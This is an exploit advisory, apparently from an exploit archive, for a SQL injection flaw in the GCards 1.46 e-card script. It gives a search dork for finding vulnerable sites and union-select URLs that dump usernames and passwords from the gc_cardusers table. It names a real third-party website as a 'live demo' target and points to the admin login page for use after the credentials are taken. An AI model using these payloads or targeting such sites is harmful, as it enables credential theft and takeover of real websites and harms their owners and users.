GCards <= 1.46 SQL Injection Vulnerability

==========================================
GCards <= 1.46 SQL Injection Vulnerability
==========================================


=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-==-

NAME SCRIPT :GCARDS

Version: 1.46

=============================

Author: 70P-H4CK3R                                                           0
Home: WWW.ARHAC.WOW-WARS.NET

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

DORK : 'POWERED BY GCARDS 1.46' 'OR' INURL:/GCARDS/

=-=-=-=-=-=-==-=-=-=-=-=-=-== 

EXPL!T:


PASSWORD :

http://localhost/GCARDS/getnewsitem.php?newsid=1+union+select+1,2,userpass,4,5+from+gc_cardusers


USERNAME:


http://localhost/GCARDS/getnewsitem.php?newsid=1+union+select+1,2,username,4,5+from+gc_cardusers

=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-==


LIVE DEMO :

http://www.animaatjes.nl/ecards/getnewsitem.php?newsid=1+union+select+1,2,3,4,5+from+gc_cardusers


1- PUT userpass IN NAMBER 3 YOU WILL SEE PASS 


2- PUT USERNAME IN NAMBER 3 YOU WILL SEE USERNAME 

ADMIN CONTROL :

LOGIN.PHP

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-==-=-=-=-=-=-=-=-==-

GREZZ : : NO-VIRUS : NASR90 : HTLAR 

WWW.ARHAC.WOW-WARS.NET 



#  0day.today [2018-03-14]  #